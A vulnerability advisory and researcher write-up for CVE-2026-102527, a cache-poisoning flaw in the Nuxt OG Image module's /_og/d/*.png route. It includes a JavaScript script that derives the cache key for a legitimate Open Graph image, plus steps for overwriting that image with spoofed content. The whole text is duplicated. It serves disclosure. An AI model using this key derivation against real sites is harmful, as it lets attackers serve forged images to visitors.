CVE-2026-102527

Nuxt OG Image generates OG Images with Vue templates in Nuxt. From 6.2.5 until 6.7.0, the dynamic /_og/d/*.png route accepts unsigned requests while resolvePathCacheKey() produces cache keys from the request path, site URL, and normalized rendering options exposed through image URLs and server responses. An unauthenticated attacker can provide attacker-controlled image data through the title parameter together with a derived cacheKey and populate the cache slot used for a legitimate Open Graph image, causing spoofed image content to be served to users. This issue is fixed in version 6.7.0.

Nuxt OG Image generates OG Images with Vue templates in Nuxt. From 6.2.5 until 6.7.0, the dynamic /_og/d/*.png route accepts unsigned requests while resolvePathCacheKey() produces cache keys from the request path, site URL, and normalized rendering options exposed through image URLs and server responses. An unauthenticated attacker can provide attacker-controlled image data through the title parameter together with a derived cacheKey and populate the cache slot used for a legitimate Open Graph image, causing spoofed image content to be served to users. This issue is fixed in version 6.7.0.

Vendor: Nuxt Product: Nuxt OG Image Version: 6.2.5 Description: Due to the specifics of caching and key generation in the Open Graph image cache created by the module, an unauthenticated attacker can modify the content of the image (for example, the title parameter) that is delivered to the user. Impact: Content Spoofing Vulnerable component: route /_og/d/*.png Exploitation conditions: Access to the application Mitigation: Upgrade to 6.7.2 and set a sufficiently secure secret in config ogImage Researcher: Dmitry Vanin (Positive Technologies)

Research

During the previous vulnerability research, it was discovered that version 6.2.5 changed the mechanism for generating cache indexes; it now takes into account the parameters passed during image generation.

However, the image is still generated from data transmitted to the attacker.

Listing 1. New code for generating indexes in cache

export function resolvePathCacheKey(e: H3Event, path: string, resolvedOptions?: Record<string, any>) {
  const siteConfig = getSiteConfig(e, {
    resolveRefs: true,
  })
  const basePath = withoutTrailingSlash(withoutLeadingSlash(normalizeKey(path)))
  const hashParts: any[] = [
    basePath,
    import.meta.prerender ? '' : siteConfig.url,
  ]
  // Hash resolved options (not raw query string) so unknown/extra query params
  // cannot produce unique cache keys and bypass the cache.
  if (resolvedOptions)
    hashParts.push(hash(resolvedOptions))
  return [
    (!basePath || basePath === '/') ? 'index' : basePath,
    hash(hashParts),
  ].join(':')
}

In this case, basePath is obtained from the _path parameter, resolvedOptions are the normalized settings of the component, for example:

Listing 2. An example of resolvedOptions

{"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageDefaultImageTakumi"}

From the analysis of resolvedOptions, it was concluded that, in general, all parameters are known either from the direct link to the OG Image or from the server response.

Vulnerability reproduction

1. Find the route to OG Image. Figure 1. Demonstration of finding the route to OG Image <img width="974" height="361" alt="image" src="https://github.com/user-attachments/assets/d3ee6b54-d545-4a3b-8cbf-f82df99ed4d0" />

2. Retrieve parameters from the server’s response, especially cacheMaxAgeSeconds (cache-control header, s-maxage key), the other parameters are known from the meta tags as well as from the c_<component name> parameter. Figure 2. Obtaining parameters <img width="974" height="245" alt="image" src="https://github.com/user-attachments/assets/84a4cd8b-9281-47ef-b524-0047a0f6077a" />

3. Generate a cache key using a script. Listing 3. Srcipt

import {hash} from "ohash";

var url = "https://contoso.com"

var obj = JSON.parse(`{"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageBlogPostTakumi"}`)

var basePath = '/'

var hashParts = [
    basePath,
    url
  ]
  
if (obj)
	hashParts.push(hash(obj))

console.log([
    (!basePath || basePath === '/') ? 'index' : basePath,
    hash(hashParts),
  ].join(':'))

4. Repeat the steps as in the vulnerability 1, but transmit the obtained cacheKey in addition.
5. Thus, the same result as in the vulnerability 1 was obtained. Figure 4. Server response <img width="974" height="729" alt="image" src="https://github.com/user-attachments/assets/5895c0e8-e497-410d-bef9-f6f2f9649261" />

Credits

Researcher: Dmitry Vanin (Positive Technologies)

Nuxt OG Image generates OG Images with Vue templates in Nuxt. From 6.2.5 until 6.7.0, the dynamic /_og/d/*.png route accepts unsigned requests while resolvePathCacheKey() produces cache keys from the request path, site URL, and normalized rendering options exposed through image URLs and server responses. An unauthenticated attacker can provide attacker-controlled image data through the title parameter together with a derived cacheKey and populate the cache slot used for a legitimate Open Graph image, causing spoofed image content to be served to users. This issue is fixed in version 6.7.0.

Nuxt OG Image generates OG Images with Vue templates in Nuxt. From 6.2.5 until 6.7.0, the dynamic /_og/d/*.png route accepts unsigned requests while resolvePathCacheKey() produces cache keys from the request path, site URL, and normalized rendering options exposed through image URLs and server responses. An unauthenticated attacker can provide attacker-controlled image data through the title parameter together with a derived cacheKey and populate the cache slot used for a legitimate Open Graph image, causing spoofed image content to be served to users. This issue is fixed in version 6.7.0.

Vendor: Nuxt Product: Nuxt OG Image Version: 6.2.5 Description: Due to the specifics of caching and key generation in the Open Graph image cache created by the module, an unauthenticated attacker can modify the content of the image (for example, the title parameter) that is delivered to the user. Impact: Content Spoofing Vulnerable component: route /_og/d/*.png Exploitation conditions: Access to the application Mitigation: Upgrade to 6.7.2 and set a sufficiently secure secret in config ogImage Researcher: Dmitry Vanin (Positive Technologies)

Research

During the previous vulnerability research, it was discovered that version 6.2.5 changed the mechanism for generating cache indexes; it now takes into account the parameters passed during image generation.

However, the image is still generated from data transmitted to the attacker.

Listing 1. New code for generating indexes in cache

export function resolvePathCacheKey(e: H3Event, path: string, resolvedOptions?: Record<string, any>) {
  const siteConfig = getSiteConfig(e, {
    resolveRefs: true,
  })
  const basePath = withoutTrailingSlash(withoutLeadingSlash(normalizeKey(path)))
  const hashParts: any[] = [
    basePath,
    import.meta.prerender ? '' : siteConfig.url,
  ]
  // Hash resolved options (not raw query string) so unknown/extra query params
  // cannot produce unique cache keys and bypass the cache.
  if (resolvedOptions)
    hashParts.push(hash(resolvedOptions))
  return [
    (!basePath || basePath === '/') ? 'index' : basePath,
    hash(hashParts),
  ].join(':')
}

In this case, basePath is obtained from the _path parameter, resolvedOptions are the normalized settings of the component, for example:

Listing 2. An example of resolvedOptions

{"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageDefaultImageTakumi"}

From the analysis of resolvedOptions, it was concluded that, in general, all parameters are known either from the direct link to the OG Image or from the server response.

Vulnerability reproduction

1. Find the route to OG Image. Figure 1. Demonstration of finding the route to OG Image <img width="974" height="361" alt="image" src="https://github.com/user-attachments/assets/d3ee6b54-d545-4a3b-8cbf-f82df99ed4d0" />

2. Retrieve parameters from the server’s response, especially cacheMaxAgeSeconds (cache-control header, s-maxage key), the other parameters are known from the meta tags as well as from the c_<component name> parameter. Figure 2. Obtaining parameters <img width="974" height="245" alt="image" src="https://github.com/user-attachments/assets/84a4cd8b-9281-47ef-b524-0047a0f6077a" />

3. Generate a cache key using a script. Listing 3. Srcipt

import {hash} from "ohash";

var url = "https://contoso.com"

var obj = JSON.parse(`{"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageBlogPostTakumi"}`)

var basePath = '/'

var hashParts = [
    basePath,
    url
  ]
  
if (obj)
	hashParts.push(hash(obj))

console.log([
    (!basePath || basePath === '/') ? 'index' : basePath,
    hash(hashParts),
  ].join(':'))

4. Repeat the steps as in the vulnerability 1, but transmit the obtained cacheKey in addition.
5. Thus, the same result as in the vulnerability 1 was obtained. Figure 4. Server response <img width="974" height="729" alt="image" src="https://github.com/user-attachments/assets/5895c0e8-e497-410d-bef9-f6f2f9649261" />

Credits

Researcher: Dmitry Vanin (Positive Technologies)